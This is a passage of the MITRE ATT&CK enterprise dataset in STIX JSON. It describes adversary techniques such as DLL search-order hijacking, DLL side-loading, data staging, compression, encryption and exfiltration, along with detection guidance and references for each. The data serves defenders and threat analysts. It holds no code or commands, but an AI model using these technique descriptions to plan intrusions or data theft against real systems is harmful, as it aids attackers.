                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Authentication logs",
                "Network protocol analysis",
                "Packet capture"
            ],
            "x_mitre_defense_bypassed": [
                "Log analysis"
            ],
            "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DLL Search Order Hijacking",
            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
            "external_references": [
                {
                    "external_id": "T1038",
                    "url": "https://attack.mitre.org/techniques/T1038",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-471",
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "source_name": "Microsoft DLL Search"
                },
                {
                    "url": "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
                    "source_name": "Microsoft 2269637"
                },
                {
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "source_name": "Microsoft DLL Redirection"
                },
                {
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "source_name": "Microsoft Manifests"
                },
                {
                    "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                    "source_name": "Mandiant Search Order"
                },
                {
                    "url": "https://www.owasp.org/index.php/Binary_planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "source_name": "OWASP Binary Planting"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "DLL monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
            ],
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_effective_permissions": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Ability to add a DLL, manifest file, or .local file, directory, or junction."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:40.604Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "DLL Side-Loading",
            "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.",
            "external_references": [
                {
                    "external_id": "T1073",
                    "url": "https://attack.mitre.org/techniques/T1073",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
                    "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.",
                    "source_name": "Stewart 2014"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/aa375365",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.",
                    "source_name": "MSDN Manifests"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process use of network",
                "Process monitoring",
                "Loaded DLLs"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting",
                "Anti-virus"
            ],
            "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:58.007Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Compressed",
            "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.",
            "external_references": [
                {
                    "external_id": "T1002",
                    "url": "https://attack.mitre.org/techniques/T1002",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Binary file metadata",
                "File monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_detection": "Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)",
            "x_mitre_network_requirements": false,
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:19.338Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Encoding",
            "description": "Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64,  MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
            "external_references": [
                {
                    "external_id": "T1132",
                    "url": "https://attack.mitre.org/techniques/T1132",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Binary-to-text Encoding"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Character_encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Character Encoding"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Packet capture",
                "Process use of network",
                "Process Monitoring",
                "Network protocol analysis"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:43.540Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Encrypted",
            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)",
            "external_references": [
                {
                    "external_id": "T1022",
                    "url": "https://attack.mitre.org/techniques/T1022",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
                    "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
                    "source_name": "Zhang 2013"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
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            ],
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters",
                "Binary file metadata"
            ],
            "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)",
            "x_mitre_network_requirements": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:30.260Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Obfuscation",
            "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.",
            "external_references": [
                {
                    "external_id": "T1001",
                    "url": "https://attack.mitre.org/techniques/T1001",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Process use of network",
                "Process monitoring",
                "Network protocol analysis"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:18.931Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Staged",
            "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).\n\nInteractive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.",
            "external_references": [
                {
                    "external_id": "T1074",
                    "url": "https://attack.mitre.org/techniques/T1074",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:58.938Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Transfer Size Limits",
            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
            "external_references": [
                {
                    "external_id": "T1030",
                    "url": "https://attack.mitre.org/techniques/T1030",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Netflow/Enclave netflow",
                "Process use of network",
                "Process monitoring"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "exfiltration",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:34.523Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Information Repositories",
            "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nSpecific common information repositories include:\n\n### Microsoft SharePoint\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n### Atlassian Confluence\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.",
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                {
                    "external_id": "T1213",
                    "url": "https://attack.mitre.org/techniques/T1213",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "source_name": "Microsoft SharePoint Logging"
                },
                {
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "source_name": "Atlassian Confluence Logging"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Milos Stojadinovic"
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            "x_mitre_data_sources": [
                "Application Logs",
                "Authentication logs",
                "Data loss prevention",
                "Third-party application logs"
            ],
            "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Local System",
            "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.",
            "external_references": [
                {
                    "external_id": "T1005",
                    "url": "https://attack.mitre.org/techniques/T1005",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_system_requirements": [
                "Privileges to access certain files and directories"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:20.537Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Network Shared Drive",
            "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
            "external_references": [
                {
                    "external_id": "T1039",
                    "url": "https://attack.mitre.org/techniques/T1039",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_system_requirements": [
                "Privileges to access network shared drive"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:41.022Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Removable Media",
            "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
            "external_references": [
                {
